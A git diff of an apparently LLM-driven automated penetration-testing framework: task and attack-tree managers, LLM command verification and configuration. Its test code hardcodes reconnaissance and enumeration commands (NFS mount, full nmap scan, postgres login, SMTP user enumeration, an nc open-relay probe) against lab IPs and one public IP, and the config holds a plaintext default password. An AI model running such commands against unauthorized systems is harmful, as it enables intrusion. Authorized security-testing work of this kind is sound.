Compare commits

...

3 Commits

  1. 321
      TaskManager.py
  2. 19
      config.yaml
  3. 144
      mycode/AttackMap.py
  4. 4
      mycode/ClientSocket.py
  5. 97
      mycode/CommandVerify.py
  6. 366
      mycode/ControlCenter.py
  7. 218
      mycode/DBManager.py
  8. 33
      mycode/InstructionManager.py
  9. 8
      mycode/LLMBase.py
  10. 112
      mycode/LLMManager.py
  11. 38
      mycode/PythonTManager.py
  12. 230
      mycode/PythoncodeTool.py
  13. 5
      mycode/RsikManager.py
  14. 2
      mycode/TargetManager.py
  15. 233
      mycode/TaskManager.py
  16. 670
      mycode/TaskObject.py
  17. 49
      mycode/WebSocketManager.py
  18. 10
      myutils/MyTime.py
  19. 53
      myutils/PickleManager.py
  20. 23
      pipfile
  21. 20
      run.py
  22. 175
      test.py
  23. 11
      tools/ArpingTool.py
  24. 86
      tools/CurlTool.py
  25. 13
      tools/DirSearchTool.py
  26. 4
      tools/EchoTool.py
  27. 35
      tools/FtpTool.py
  28. 11
      tools/GitdumperTool.py
  29. 30
      tools/GobusterTool.py
  30. 11
      tools/MedusaTool.py
  31. 8
      tools/MsfconsoleTool.py
  32. 76
      tools/MsfvenomTool.py
  33. 2
      tools/NmapTool.py
  34. 75
      tools/OtherTool.py
  35. 11
      tools/PingTool.py
  36. 66
      tools/PsqlTool.py
  37. 153
      tools/PythoncodeTool.py
  38. 11
      tools/RpcclientTool.py
  39. 11
      tools/RpcinfoTool.py
  40. 28
      tools/SearchsploitTool.py
  41. 3
      tools/SmbclientTool.py
  42. 13
      tools/SmbmapTool.py
  43. 77
      tools/SshpassTool.py
  44. 73
      tools/TcpdumpTool.py
  45. 4
      tools/TelnetTool.py
  46. 75
      tools/ToolBase.py
  47. 11
      tools/XvfbrunTool.py
  48. 2
      web/API/__init__.py
  49. 23
      web/API/system.py
  50. 245
      web/API/task.py
  51. 43
      web/API/user.py
  52. 43
      web/API/wsm.py
  53. 26
      web/__init__.py
  54. 18
      web/common/utils.py
  55. 12
      web/main/routes.py
  56. 134
      web/main/static/resources/css/node_tree.css
  57. 563
      web/main/static/resources/scripts/aiortc-client-new.js
  58. 25
      web/main/static/resources/scripts/base.js
  59. 735
      web/main/static/resources/scripts/channel_manager.js
  60. 303
      web/main/static/resources/scripts/model_manager.js
  61. 82
      web/main/static/resources/scripts/my_web_socket.js
  62. 930
      web/main/static/resources/scripts/node_tree.js
  63. 534
      web/main/static/resources/scripts/task_manager.js
  64. 659
      web/main/static/resources/scripts/task_modal.js
  65. 246
      web/main/static/resources/scripts/warn_manager.js
  66. 16
      web/main/templates/assets_manager.html
  67. 3
      web/main/templates/base.html
  68. 2
      web/main/templates/footer.html
  69. 13
      web/main/templates/header.html
  70. 661
      web/main/templates/his_task.html
  71. 172
      web/main/templates/index.html
  72. 176
      web/main/templates/index_webrtc.html
  73. 312
      web/main/templates/system_manager.html
  74. 444
      web/main/templates/task_manager.html
  75. 214
      web/main/templates/task_manager_modal.html
  76. 2
      web/main/templates/user_manager.html
  77. 143
      web/main/templates/view_main.html
  78. 16
      web/main/templates/vul_manager.html

321
TaskManager.py

@ -1,321 +0,0 @@
'''
渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据
'''
from mycode.TargetManager import TargetManager # 从模块导入类
#from LLMManager import LLMManager # 同理修正其他导入
from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。
from myutils.FileManager import FileManager
from mycode.InstructionManager import InstructionManager
from mycode.DBManager import DBManager
from myutils.MyTime import get_local_timestr
from myutils.MyLogger_logger import LogHandler
import pickle
import queue
import time
import os
import threading
class TaskManager:
def __init__(self):
self.TargetM = TargetManager()
self.logger = LogHandler().get_logger("TaskManager")
# 生成功能对象
self.DBM = DBManager() #主进程一个DBM
if not self.DBM.connect():
self.logger.error("数据库连接失败!终止工作!")
return
self.CCM = ControlCenter(self.DBM,self)
self.InstrM = InstructionManager(self) # 类对象渗透,要约束只读取信息
# 控制最大并发指令数量
self.max_thread_num = 2
self.task_id = 0 #任务id --
self.workth_list = [] #线程句柄list
# self.long_instr_num = 0 #耗时指令数量
# self.long_time_instr = ['nikto'] #耗时操作不计入批量执行的数量,不加不减
self.node_queue = queue.Queue()
self.lock = threading.Lock() #线程锁
self.node_num = 0 #在处理Node线程的处理
self.brun = True
self.cookie = "" #cookie参数
def res_in_quere(self,bres,instr,reslut,start_time,end_time,th_DBM,source_result,ext_params,work_node):
'''
执行结果入队列
:param bres:
:param instr:
:param reslut:
:return:
'''
#入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
if th_DBM.ok:
work_node.do_sn += 1 # 指令的执行序列是一个任务共用,要线程锁,错误问题也不大
th_DBM.insetr_result(self.task_id, instr, reslut, work_node.do_sn, start_time, end_time, source_result,
ext_params, work_node.path)
else:
self.logger.error("数据库连接失败!!")
#结果入队列---2025-3-18所有的指令均需返回给LLM便于节点状态的更新,所以bres作用要调整。
res = {'执行指令':instr,'结果':reslut}
str_res = json.dumps(res,ensure_ascii=False) #直接字符串组合也可以-待验证
work_node.llm_type = 1
work_node.add_res(str_res) #入节点结果队列
def do_worker_th(self):
#线程的dbm需要一个线程一个
th_DBM = DBManager()
th_DBM.connect()
while self.brun:
try:
work_node = self.node_queue.get(block=False)
# 测试时使用
with self.lock:
self.node_num += 1
# 开始执行指令
while work_node.instr_queue:
#for instruction in work_node.instr_queue: #这里要重新调整#?
instruction = work_node.instr_queue.pop(0)
start_time = get_local_timestr() # 指令执行开始时间
bres, instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
end_time = get_local_timestr() # 指令执行结束时间
self.res_in_quere(bres, instr, reslut, start_time, end_time, th_DBM, source_result,
ext_params, work_node) # 执行结果入队列
# #针对一个节点的指令执行完成后,提交LLM规划下一步操作
#self.CCM.llm_quere.put(work_node)
# 保存记录--测试时使用--后期增加人为停止测试时可以使用
with self.lock:
self.node_num -= 1
if self.node_num == 0 and self.node_queue.empty(): #
self.logger.debug("此批次指令执行完成!")
with open("attack_tree", 'wb') as f:
pickle.dump(self.CCM.attack_tree, f)
except queue.Empty:
time.sleep(20)
def start_task(self,target_name,target_in):
'''
:param target_name: 任务目标名字
:param target_in: 任务目标访问地址
:return:
'''
#判断目标合法性
bok,target,type = self.TargetM.validate_and_extract(target_in)
if bok:
self.target = target
self.type = type #1-IP,2-domain
self.task_id = self.DBM.start_task(target_name,target_in) #数据库新增任务记录
#获取基本信息: 读取数据库或预生成指令,获取基本的已知信息
know_info = "" #?
#启动--初始化指令
self.CCM.start_do(target,self.task_id)
#创建工作线程----2025-3-18调整为一个节点一个线程,
for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th)
w_th.start()
self.workth_list.append(w_th)
#等待线程结束--执行生成报告
for t in self.workth_list:
t.join()
#生成报告
pass
else:
return False,"{target}检测目标不合规,请检查!"
def stop_task(self):
self.brun = False
self.CCM.stop_do() #清空一些全局变量
self.InstrM.init_data()
#结束任务需要收尾处理#?
if __name__ == "__main__":
import json
TM = TaskManager()
FM = FileManager()
current_path = os.path.dirname(os.path.realpath(__file__))
strMsg = FM.read_file("test",1)
test_type = 2
instr_index = 19
iput_index = -1 # 0是根节点
indexs = []
if test_type == 0: #新目标测试
# 启动--初始化指令
node_list = TM.CCM.start_do("58.216.217.70", 1)
#异步处理,需要等待线程结束了
for th in TM.CCM.llmth_list:
th.join()
elif test_type == 1:
#测试执行指令
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
# 遍历node,查看有instr的ndoe
nodes = TM.CCM.attack_tree.traverse_dfs()
if indexs:
for index in indexs:
node = nodes[index]
if node.instr_queue: # list
TM.node_queue.put(node)
else:
for node in nodes:
if node.instr_queue:
TM.node_queue.put(node)
#创建线程执行指令
for i in range(TM.max_thread_num):
w_th = threading.Thread(target=TM.do_worker_th)
w_th.start()
TM.workth_list.append(w_th)
# 等待线程结束--执行生成报告
for t in TM.workth_list:
t.join()
elif test_type ==2:
#测试LLM返回下一步指令
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
#遍历node,查看有res的数据
iput_max_num = 0
iput_num = 0
nodes = TM.CCM.attack_tree.traverse_dfs()
if indexs:
for index in indexs:
node = nodes[index]
if node.res_quere:
TM.CCM.llm_quere.put(node)
else:
for node in nodes:
if node.res_quere:
TM.CCM.llm_quere.put(node)
#创建llm工作线程
TM.CCM.brun = True
for i in range(TM.CCM.max_thread_num):
l_th = threading.Thread(target=TM.CCM.th_llm_worker())
l_th.start()
TM.CCM.llmth_list.append(l_th)
# 等待线程结束
for t in TM.CCM.llmth_list:
t.join()
elif test_type ==3: #执行指定指令
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
# 遍历node,查看有instr的ndoe
nodes = TM.CCM.attack_tree.traverse_dfs()
instrlist = nodes[instr_index].instr_queue
instrlist = ['''
mkdir -p /tmp/nfs_test && mount -t nfs -o nolock 192.168.204.137:/ /tmp/nfs_test && ls /tmp/nfs_test
''']
for instr in instrlist:
start_time = get_local_timestr() # 指令执行开始时间
bres, instr, reslut, source_result, ext_params = TM.InstrM.execute_instruction(instr)
end_time = get_local_timestr() # 指令执行结束时间
res = {'执行结果': reslut}
str_res = json.dumps(res,ensure_ascii=False) # 直接字符串组合也可以-待验证
print(str_res)
elif test_type == 4: #修改Message
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
#创建一个新的节点
from mycode.AttackMap import TreeNode
testnode = TreeNode("test",0,0)
TM.CCM.LLM.build_initial_prompt(testnode)#新的Message
systems = testnode.messages[0]["content"]
#print(systems)
# 遍历node,查看有instr的ndoe
nodes = TM.CCM.attack_tree.traverse_bfs()
for node in nodes:
node.messages[0]["content"] = systems
with open("attack_tree", 'wb') as f:
pickle.dump(TM.CCM.attack_tree, f)
elif test_type ==5: #显示指令和结果list
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
nodes = TM.CCM.attack_tree.traverse_dfs()
if iput_index == -1:
for node in nodes:
print(f"----{node.path}-{node.status}----\n****instr_quere")
print(f"{','.join(node.instr_queue)}\n****res_quere")
try:
print(f"{','.join(node.res_quere)}")
except:
print(f"{json.dumps(node.res_quere)}")
elif iput_index == -2:#只输出有instruction的数据
index = 0
for node in nodes:
if node.instr_queue:
print(f"----{index}--{node.path}--{node.status}----")
print(f"{','.join(node.instr_queue)}")
index += 1
else:
print(f"********\n{','.join(nodes[iput_index].instr_queue)}\n********")
print(f"&&&&&&&&\n{','.join(nodes[iput_index].res_quere)}\n&&&&&&&&")
elif test_type == 6: #给指定节点添加测试指令
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
nodes = TM.CCM.attack_tree.traverse_dfs()
str_instr = "nmap -sV -p- 192.168.204.137 -T4 -oN nmap_full_scan.txt"
index = 9
nodes[index].instr_queue.append(str_instr)
nodes[index].res_quere = []
with open("attack_tree", 'wb') as f:
pickle.dump(TM.CCM.attack_tree, f)
elif test_type == 7: #给指定节点修改指令的执行结果
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
nodes = TM.CCM.attack_tree.traverse_dfs()
str_instr = "psql -h 192.168.204.137 -U postgres -c '\l'"
start_time = get_local_timestr() # 指令执行开始时间
bres, instr, reslut, source_result, ext_params = TM.InstrM.execute_instruction(str_instr)
end_time = get_local_timestr() # 指令执行结束时间
# 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
if TM.DBM.ok:
TM.DBM.insetr_result(0, instr, reslut, 0, start_time, end_time, source_result,
ext_params, "独立命令执行")
index = 9
nodes[index].res_quere.clear()
nodes[index].res_quere.append(reslut)
with open("attack_tree", 'wb') as f:
pickle.dump(TM.CCM.attack_tree, f)
elif test_type ==8: #显示有漏洞信息的数据
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
nodes = TM.CCM.attack_tree.traverse_dfs()
if nodes:
for node in nodes:
if node.vul_type != "未发现":
print(f"{node.path}----{node.vul_type}")
elif test_type == 9: #处理自定义llm回复内容
with open("attack_tree", "rb") as f:
TM.CCM.attack_tree = pickle.load(f)
nodes = TM.CCM.attack_tree.traverse_dfs()
node = nodes[5]
strconent = '''
{'role': 'assistant', 'content': '{"action":"update_status", "node": "25端口", "status": "已完成", "vulnerability": {"name":"SMTP用户枚举漏洞","risk":"中危","info":"VRFY命令可验证有效用户"}}\n\n```bash-[目标系统->192.168.204.137->25端口]\nsmtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.204.137\n```\n\n```bash-[目标系统->192.168.204.137->25端口]\nnc -nv 192.168.204.137 25 << EOF\nEXPN root\nMAIL FROM: attacker@example.com\nRCPT TO: external@example.com\nDATA\nTest open relay\n.\nQUIT\nEOF\n```'}
'''
strjson = json.loads(strconent)
node_cmds,commands = TM.CCM.LLM.fetch_instruction(strjson["content"])
TM.CCM.tree_manager(node_cmds)
# 更新tree
bok, new_commands = TM.CCM.tree_manager(node_cmds, node, commands, TM.DBM)
# 分析指令入对应节点
if bok: # 节点指令若存在错误,测试指令都不处理,需要LLM重新生成
node_list = TM.CCM.instr_in_node(new_commands, node)
#报不保存待定--
with open("attack_tree", 'wb') as f:
pickle.dump(TM.CCM.attack_tree, f)
else:
#完整过程测试---要设定终止条件
pass

19
config.yaml

@ -1,3 +1,8 @@
#工作模式
App_Work_type: 0 #开发模式,只允许单步模式
#线程休眠的时间
sleep_time: 20
#日志记录 #日志记录
file_log_level: INFO #是否记录日志 file_log_level: INFO #是否记录日志
@ -14,14 +19,18 @@ mysql:
database: zfsafe database: zfsafe
#LLM-Type #LLM-Type
LLM_type: 2 #0-腾讯云,1-DS,2-2233ai,3-GPT
LLM_max_chain_count: 10 #为了避免推理链过长,造成推理效果变差,应该控制一个推理链的长度上限 LLM_max_chain_count: 10 #为了避免推理链过长,造成推理效果变差,应该控制一个推理链的长度上限
#用户初始密码 #用户初始密码
pw: zfkj_123!@# pw: zfkj_123!@#
#服务器端socket #服务器端socket
serverIP: 192.168.3.190 serverURL: www.czzfkj.cn
serverPort: 18010
DevID: 12345678901234567890123456789012 #node_tree_file_name
sockettimeout: 600 #10分钟 TreeFile: tree_data/attack_tree
#task
Task_max_threads: 5
Python_max_procs: 3
LLM_max_threads: 1

144
mycode/AttackMap.py

@ -1,6 +1,7 @@
import queue import queue
import copy import copy
import re import re
import threading
#渗透测试树结构维护类 #渗透测试树结构维护类
class AttackTree: class AttackTree:
@ -9,6 +10,7 @@ class AttackTree:
self.root = root_node self.root = root_node
self.root.path = f"目标系统->{root_node.name}" self.root.path = f"目标系统->{root_node.name}"
def set_root(self,root_node): def set_root(self,root_node):
self.root = root_node self.root = root_node
@ -16,7 +18,7 @@ class AttackTree:
"""根据父节点名称添加新节点""" """根据父节点名称添加新节点"""
parent_node = self.find_node_by_name(parent_name) parent_node = self.find_node_by_name(parent_name)
if parent_node: if parent_node:
parent_node.add_child(new_node) parent_node.add_child(new_node,parent_node.messages)
return True return True
return False return False
@ -47,6 +49,24 @@ class AttackTree:
self.traverse_dfs(child, result) self.traverse_dfs(child, result)
return result return result
#生成节点树字典数据
def node_to_dict(self,node):
return {
"node_name":node.name,
"node_path":node.path,
"node_status":node.status,
"node_bwork":node.bwork,
"node_vultype":node.vul_type,
"node_vulgrade":node.vul_grade,
"node_workstatus":node.get_work_status(),
"children":[self.node_to_dict(child) for child in node.children] if node.children else []
}
#树简化列表,用户传输到前端
def get_node_dict(self):
node_dict = self.node_to_dict(self.root) #递归生成
return node_dict
def find_node_by_name(self, name): def find_node_by_name(self, name):
"""根据名称查找节点(广度优先)""" """根据名称查找节点(广度优先)"""
nodes = self.traverse_bfs() nodes = self.traverse_bfs()
@ -55,10 +75,23 @@ class AttackTree:
return node return node
return None return None
def find_node_by_nodepath_parent(self,node_path,node): def find_node_by_nodepath_parent(self,node_path,node,iadd_node,commands):
node_names = node_path.split('->') node_names = node_path.split('->')
node_name = node_names[-1] node_name = node_names[-1]
if node_name == node.name:#当前节点 if node_name == node.name:#当前节点
if iadd_node == 1 and len(node.children)==1: #如果在当前节点下添加了一个子节点,且子节点没有添加指令,就算指令的节点路径是当前节点,也把该测试指令添加给新增的子节点
bfind = False
for comd in commands:
if node.children[0].name in comd:
bfind = True
break
if not bfind: #正常来说on_instruction已经补充指令了,已经不会有这种情况了,缺点
print("执行了一次强制迁移指令到子节点!")
return node.children[0]
else:
return node
else:
#添加了多个节点就难对应是哪个节点了,两个解决方案:1.返回当前节点,2.提交llm重新确认指令节点
return node return node
else: else:
if node_names[-2] == node.name: #父节点是当前节点 if node_names[-2] == node.name: #父节点是当前节点
@ -67,7 +100,7 @@ class AttackTree:
return child_node return child_node
#走到这说明没有匹配到-则新建一个节点 #走到这说明没有匹配到-则新建一个节点
newNode = TreeNode(node_name,node.task_id) newNode = TreeNode(node_name,node.task_id)
node.add_child(newNode) node.add_child(newNode,node.messages)
return newNode return newNode
else: else:
return None #约束:不处理 return None #约束:不处理
@ -96,6 +129,17 @@ class AttackTree:
return None return None
return current_node return current_node
#更新节点的bwork状态
def update_node_bwork(self,node_path):
node = self.find_node_by_nodepath(node_path)
if not node:
return False,False
if node.bwork:
node.bwork = False
else:
node.bwork = True
return True,node.bwork
def find_nodes_by_status(self, status): def find_nodes_by_status(self, status):
"""根据状态查找所有匹配节点""" """根据状态查找所有匹配节点"""
return [node for node in self.traverse_bfs() if node.status == status] return [node for node in self.traverse_bfs() if node.status == status]
@ -135,22 +179,28 @@ class TreeNode:
def __init__(self, name,task_id,status="未完成", vul_type="未发现"): def __init__(self, name,task_id,status="未完成", vul_type="未发现"):
self.task_id = task_id #任务id self.task_id = task_id #任务id
self.name = name # 节点名称 self.name = name # 节点名称
self.status = status # 节点状态 #self.node_lock = threading.Lock() #线程锁
self.vul_type = vul_type # 漏洞类型 self.bwork = True # 当前节点是否工作,默认True --停止/启动
self.status = status # 节点测试状态 -- 由llm返回指令触发更新
#work_status需要跟两个list统一管理:初始0,入instr_queue为1,入instr_node_mq为2,入res_queue为3,入llm_node_mq为4,llm处理完0或1
self._work_status = 0 #0-无任务,1-待执行测试指令,2-执行指令中,3-待提交Llm,4-提交llm中, 2025-4-6新增,用来动态显示节点的工作细节。
self.vul_type = vul_type # 漏洞类型--目前赋值时没拆json
self.vul_name = "" self.vul_name = ""
self.vul_grade = "" self.vul_grade = ""
self.vul_info = "" self.vul_info = ""
self.children = [] # 子节点列表 self.children = [] # 子节点列表
self.parent = None # 父节点引用 self.parent = None # 父节点引用
self.path = "" #当前节点的路径 self.path = "" #当前节点的路径
self.bwork = True #当前节点是否工作,默认True
self.messages = [] # 针对当前节点积累的messages -- 针对不同节点提交不同的messages self.messages = [] # 针对当前节点积累的messages -- 针对不同节点提交不同的messages
self.llm_type = 0 #llm提交类型 0--初始状态无任务状态,1--指令结果反馈,2--llm错误反馈 self.llm_type = 0 #llm提交类型 0--初始状态无任务状态,1--指令结果反馈,2--llm错误反馈
self.llm_sn = 0 #针对该节点llm提交次数 self.llm_sn = 0 #针对该节点llm提交次数
self._llm_quere = [] #待提交llm的数据
self.do_sn = 0 #针对该节点instr执行次数 self.do_sn = 0 #针对该节点instr执行次数
self.instr_queue = [] # queue.Queue() #针对当前节点的执行指令----重要约束:一个节点只能有一个线程在执行指令 self._instr_queue = [] #针对当前节点的待执行指令----重要约束:一个节点只能有一个线程在执行指令
self.res_quere = [] # queue.Queue() #指令执行的结果,一批一批
self.his_instr = [] #保留执行指令的记录{“instr”:***,"result":***}
#用户补充信息 #用户补充信息
self.cookie = "" self.cookie = ""
self.ext_info = "" self.ext_info = ""
@ -160,16 +210,16 @@ class TreeNode:
self.cookie = cookie self.cookie = cookie
self.ext_info = ext_info self.ext_info = ext_info
def copy_messages(self,childe_node): def copy_messages(self,childe_node,messages):
''' '''
子节点继承父节点的messages目前规则保留上两层节点的message信息 子节点继承父节点的messages目前规则保留上两层节点的message信息
:param childe_node: :param childe_node:
:return: :return:
''' '''
tmp_messages = copy.deepcopy(self.messages) tmp_messages = copy.deepcopy(messages)
if not self.parent: if not self.parent:
childe_node.messages = tmp_messages childe_node.messages = tmp_messages
else: else:#修改messages传递规则后,messages丢弃逻辑有待进一步验证
parent_path = self.parent.path parent_path = self.parent.path
bfind = False bfind = False
for msg in tmp_messages: for msg in tmp_messages:
@ -196,26 +246,82 @@ class TreeNode:
else: else:
print("非法的信息体类型!") print("非法的信息体类型!")
#添加子节点
def add_child(self, child_node): def add_child(self, child_node,messages):
child_node.parent = self child_node.parent = self
child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值 child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值
#child_node.messages = copy.deepcopy(self.messages) #传递messages #给什么时候的messages待验证#? #child_node.messages = copy.deepcopy(self.messages) #传递messages #给什么时候的messages待验证#?
self.copy_messages(child_node) #传递messages--只保留两层 self.copy_messages(child_node,messages) #传递messages--只保留两层--两层的逻辑要验证
self.children.append(child_node) self.children.append(child_node)
#修改节点的执行状态--return bchange
def update_work_status(self,work_status):
if self._work_status == work_status:
return False
self._work_status = work_status
return True
def get_work_status(self):
#加锁有没有意义--待定
return self._work_status
#-------后期扩充逻辑,目前wokr_status的修改交给上层类对象-------
def add_instr(self,instr): def add_instr(self,instr):
self.instr_queue.append(instr) self._instr_queue.append(instr)
def get_instr(self): def get_instr(self):
return self.instr_queue.pop(0) if self.instr_queue else None return self._instr_queue.pop(0) if self._instr_queue else None
def get_instr_user(self):
return self._instr_queue
def del_instr(self,instr):
if instr in self._instr_queue:
self._instr_queue.remove(instr)
#指令删除后要判断是否清空指令了
if not self._instr_queue:
self._work_status = 0 #状态调整为没有带执行指令
return True,""
else:
return False,"该指令不在队列中!"
def add_res(self,str_res): #结构化结果字串 def add_res(self,str_res): #结构化结果字串
self.res_quere.append(str_res) self._llm_quere.append(str_res)
def get_res(self): def get_res(self):
return self.res_queue.pop(0) if self.res_queue else None return self._llm_quere.pop(0) if self._llm_quere else None
def get_res_user(self):
return self._llm_quere
def get_work_status(self):
return self._work_status
def updatemsg(self,newtype,newcontent,index):
if self._llm_quere:#
oldmsg_llm_type = self._llm_quere[0]["llm_type"] #llm_type不修改,还未验证
newmsg = {"llm_type": int(oldmsg_llm_type), "result": newcontent}
self._llm_quere[0] = newmsg
else:#新增消息
newmsg = {"llm_type": int(newtype), "result": newcontent}
self._llm_quere.append(newmsg)
#更新节点状态
self._work_status = 3 #待提交
return True,""
def is_instr_empty(self):
if self._instr_queue:
return False
return True
def is_llm_empty(self):
if self._llm_quere:
return False
return True
def __repr__(self): def __repr__(self):
return f"TreeNode({self.name}, {self.status}, {self.vul_type})" return f"TreeNode({self.name}, {self.status}, {self.vul_type})"

4
mycode/ClientSocket.py

@ -0,0 +1,4 @@
class ClientSocket:
def __init__(self):
self.user_id = -1
self.th_read = None

97
mycode/CommandVerify.py

@ -0,0 +1,97 @@
#对llm返回的指令进行校验
import re
class CommandVerify:
def __init__(self):
pass
#验证节点指令的结构完整性--主要是判断JSON元素是否完整
def verify_node_cmds(self,node_cmds):
'''
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
'''
strerror = ""
for node_json in node_cmds:
if "action" not in node_json:
self.logger.error(f"缺少action节点:{node_json}")
strerror = {"节点指令错误":f"{node_json}缺少action节点,不符合格式要求!"}
break
action = node_json["action"]
if action == "add_node":
if "parent" not in node_json or "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
elif action == "end_work":
if "node" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
elif action =="no_instruction":
if "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
elif action =="find_vul":
if "node" not in node_json or "vulnerability" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
else:
strerror = {"节点指令错误": f"{node_json}不可识别的action值!"}
break
if not strerror:
return True,strerror
return False,strerror
# 验证节点数据的合规性
def verify_node_data(self,node_cmds):
add_nodes = []
no_instr_nodes = []
for node_cmd in node_cmds:
do_type = node_cmd["action"]
if do_type == "add_node":
nodes = node_cmd["nodes"].split(",")
add_nodes.extend(nodes)
elif do_type == "no_instruction":
nodes = node_cmd["nodes"].split(",")
no_instr_nodes.extend(nodes)
else:# 其他类型暂时不验证
pass
#核对指令是否有缺失
had_inst_nodes = self._difference_a_simple(add_nodes,no_instr_nodes) #在新增节点,但不在没有指令列表,就是应该要有指令的节点数据
no_add_nodes = self._difference_a_simple(no_instr_nodes,add_nodes) #在未新增指令的节点,但不在新增节点,就是没有add的节点,需要新增
return had_inst_nodes,no_add_nodes
#--------------辅助函数-----------------
def get_path_from_command(self,command):
pass
def _difference_a(self,list_a: list, list_b: list) -> list:
"""获取 list_a 中存在但 list_b 中不存在的元素(去重版)"""
set_b = set(list_b)
return [x for x in list_a if x not in set_b]
def _difference_b(self,list_a: list, list_b: list) -> list:
"""获取 list_b 中存在但 list_a 中不存在的元素(去重版)"""
set_a = set(list_a)
return [x for x in list_b if x not in set_a]
def _difference_a_keep_duplicates(self,list_a: list, list_b: list) -> list:
"""获取 list_a 中存在但 list_b 中不存在的元素(保留所有重复项和顺序)"""
set_b = set(list_b)
return [x for x in list_a if x not in set_b]
def _difference_b_keep_duplicates(self,list_a: list, list_b: list) -> list:
"""获取 list_b 中存在但 list_a 中不存在的元素(保留所有重复项和顺序)"""
set_a = set(list_a)
return [x for x in list_b if x not in set_a]
def _difference_a_simple(self,list_a: list, list_b: list) -> list:
"""集合差集:list_a - list_b"""
return list(set(list_a) - set(list_b))
def _difference_b_simple(self,list_a: list, list_b: list) -> list:
"""集合差集:list_b - list_a"""
return list(set(list_b) - set(list_a))
g_CV = CommandVerify()

366
mycode/ControlCenter.py

@ -5,35 +5,20 @@ import re
import queue import queue
import time import time
import threading import threading
import pickle
from mycode.AttackMap import AttackTree from mycode.AttackMap import AttackTree
from mycode.AttackMap import TreeNode from mycode.AttackMap import TreeNode
from mycode.LLMManager import LLMManager
from myutils.ConfigManager import myCongif #单一实例
from myutils.MyLogger_logger import LogHandler from myutils.MyLogger_logger import LogHandler
from mycode.DBManager import DBManager from mycode.DBManager import DBManager
class ControlCenter: class ControlCenter:
def __init__(self,DBM,TM): def __init__(self):
self.logger = LogHandler().get_logger("ControlCenter") self.logger = LogHandler().get_logger("ControlCenter")
self.task_id = None
self.target = None
self.attack_tree = None
self.DBM = DBM
self.TM = TM
#LLM对象
self.LLM = LLMManager(myCongif.get_data("LLM_type"))
self.llm_quere = queue.Queue() #提交LLM指令的队列----
self.max_thread_num = 1 # 控制最大并发指令数量
self.llmth_list = [] #llm线程list
self.brun = False
def __del__(self): def __del__(self):
self.brun =False self.brun =False
self.task_id = None self.task_id = None
self.target = None self.target = None
self.attack_tree = None self.attack_tree = None
self.DBM = None
def init_cc_data(self): def init_cc_data(self):
#一次任务一次数据 #一次任务一次数据
@ -48,360 +33,11 @@ class ControlCenter:
# ?包括是否对目标进行初始化的信息收集 # ?包括是否对目标进行初始化的信息收集
return {"已知信息":""} return {"已知信息":""}
def start_do(self,target,task_id):
'''一个新任务的开始'''
self.task_id = task_id
self.target = target
#创建/初始化测试树
if self.attack_tree:
self.attack_tree = None #释放
root_node = TreeNode(target,task_id)
self.attack_tree = AttackTree(root_node)#创建测试树,同时更新根节点相关内容
#初始化启动提示信息
know_info = self.get_user_init_info()
self.LLM.build_initial_prompt(root_node)
#提交到待处理队列
self.put_one_llm_work(know_info,root_node,1)
# 启动LLM请求提交线程
self.brun = True
#启动线程
ineed_create_num = self.max_thread_num - len(self.llmth_list) #正常应该就是0或者是max_num
for i in range(ineed_create_num):
l_th = threading.Thread(target=self.th_llm_worker)
l_th.start()
self.llmth_list.append(l_th)
def put_one_llm_work(self,str_res,node,llm_type):
'''提交任务到llm_quere'''
if llm_type == 0:
self.logger.debug("llm_type不能设置为0")
return
node.llm_type = llm_type #目前处理逻辑中一个node应该只会在一个queue中,且只会有一次记录。所以llm_type复用
node.res_quere.append(str_res)
#提交到待处理队列
self.llm_quere.put(node)
def get_one_llm_work(self,node):
'''获取该节点的llm提交数据,会清空type和res_quere'''
llm_type = node.llm_type
node.llm_type = 0 #回归0
res_list = node.res_quere[:] #浅拷贝,复制第一层
node.res_quere.clear() #清空待处理数据,相当于把原应用关系接触
return llm_type,res_list
def restore_one_llm_work(self,node,llm_type,res_list): def restore_one_llm_work(self,node,llm_type,res_list):
node.llm_type = llm_type node.llm_type = llm_type
node.res_quere = res_list node.res_quere = res_list
#llm请求提交线程
def th_llm_worker(self):#LLM没有修改的全局变量,应该可以共用一个client
'''
几个规则--TM的work线程同
1.线程获取一个节点后其他线程不能再获取这个节点遇到被执行的节点直接放弃执行--- 加了没办法保存中间结果进行测试
2.llm返回的指令只可能是该节点或者是子节点的不符合这条规则的都不处理避免llm处理混乱
:return:
'''
# 线程的dbm需要一个线程一个
th_DBM = DBManager()
th_DBM.connect()
while self.brun:
try:
#节点锁
node = self.llm_quere.get(block=False)
self.get_llm_instruction(node,th_DBM)
#释放锁
# 暂存状态--测试时使用--限制条件llm工作线程只能未1个
